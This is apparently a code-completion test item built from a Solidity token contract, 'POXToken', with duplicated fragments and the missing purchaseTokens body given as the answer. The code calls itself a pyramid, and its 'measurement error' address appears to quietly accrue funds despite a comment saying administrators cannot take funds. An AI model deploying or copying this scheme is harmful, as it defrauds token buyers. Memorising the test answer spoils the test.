----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the referral rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, sellFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, buyFee_); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, buyFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, sellFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) {<FILL_FUNCTION_BODY> } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper * with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
contract POXToken { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> set new administrator // -> change the PoS difficulty (How many tokens it costs to hold a referral, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[(_customerAddress)]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "POXToken"; string public symbol = "POX"; uint8 constant public decimals = 18; uint8 constant internal buyFee_ = 10; uint8 constant internal sellFee_ = 5; uint8 constant internal exchangebuyFee_ = 100; uint8 constant internal exchangesellFee_ = 50; uint8 constant internal referralFeenormal_ = 50; uint8 constant internal referralFeedouble_ = 25; uint8 constant internal transferFee_ = 10; uint32 constant internal presaletransferFee_ = 1000000; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake Doubles Referral Rewards (defaults at 500 tokens) uint256 public stakingRequirement = 500e18; // presale mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1000 ether; uint256 constant internal ambassadorQuota_ = 1010 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // fees and measurement error address address private exchangefees; address private measurement; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function POXToken(address _exchangefees, address _measurement) public { require(_exchangefees != address(0)); exchangefees = _exchangefees; require(_measurement != address(0)); measurement = _measurement; // administrators administrators[0x8889885f4a4800abC7F32aC661765cd1FAaC7D49] = true; // pre-sale wallet. ambassadors_[0xA7A1d05b15de7d5C0a8A27dDD3B011Ec366D6bB9] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data // low fees for presale address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _feesEthereum = SafeMath.div(_ethereum, exchangesellFee_); uint256 _sellfeeEthereum = SafeMath.div(_ethereum, sellFee_); if (ambassadors_[_customerAddress] == true) { _sellfeeEthereum = SafeMath.div(_ethereum, exchangesellFee_); } uint256 _dividends = SafeMath.sub(_sellfeeEthereum, _feesEthereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _sellfeeEthereum); // fees and burn the sold tokens exchangefees.transfer(_feesEthereum); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token and measurement error profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders // low fees for presale uint256 _tokenFee = SafeMath.div(_amountOfTokens, transferFee_); if (ambassadors_[_customerAddress] == true) { _tokenFee = SafeMath.div(_amountOfTokens, presaletransferFee_); } uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _feesEthereum = SafeMath.div(tokensToEthereum_(_tokenFee), exchangebuyFee_); uint256 _dividends = SafeMath.sub(tokensToEthereum_(_tokenFee), _feesEthereum); // fees and burn the fee tokens exchangefees.transfer(_feesEthereum); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders and measurement error profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the referral rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, sellFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, buyFee_); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, buyFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, sellFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } <FILL_FUNCTION> /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper * with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
// data setup and fees address _customerAddress = msg.sender; uint256 _feesEthereum = SafeMath.div(_incomingEthereum, exchangebuyFee_); uint256 _referralBonus = SafeMath.div(_incomingEthereum, referralFeenormal_); // referral commission rewards to 40% for address that hold 500 POX or more if (tokenBalanceLedger_[_referredBy] >= stakingRequirement) { _referralBonus = SafeMath.div(_incomingEthereum, referralFeedouble_); } uint256 _dividends = SafeMath.sub((SafeMath.div(_incomingEthereum, buyFee_)), (SafeMath.add(_feesEthereum, _referralBonus))); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (SafeMath.div(_incomingEthereum, buyFee_))); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; exchangefees.transfer(_feesEthereum); // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a referral? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder // measurement error profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // measurement error payoutsTo_[measurement] -= (int256) (SafeMath.sub(SafeMath.sub(_taxedEthereum, SafeMath.div(_taxedEthereum, sellFee_)), SafeMath.sub(tokensToEthereum_(_amountOfTokens), SafeMath.div(tokensToEthereum_(_amountOfTokens), sellFee_))) * magnitude); // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens;
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256)
/*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256)